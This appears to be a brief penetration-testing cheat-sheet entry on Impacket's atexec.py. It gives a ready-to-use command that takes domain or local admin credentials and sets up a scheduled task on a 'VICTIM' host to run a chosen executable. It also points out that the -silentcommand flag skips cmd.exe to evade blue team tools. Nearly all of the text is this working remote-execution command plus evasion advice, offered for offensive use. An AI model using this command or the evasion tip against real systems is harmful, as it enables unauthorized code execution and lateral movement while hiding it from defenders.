atexec.py

Can setup evil scheduled things to run :-)

Setup a scheduled task to run an evil.exe

atexec.py domain.com/local-or-domain-admin:'YerPassGoesHere'@VICTIM "c:\users\lowpriv\desktop\windebugcs.exe" -silentcommand

Note: the --silentcommand flag runs the command without prepending cmd.exe which might help evade some blue team tools (source: Hacker Recipes)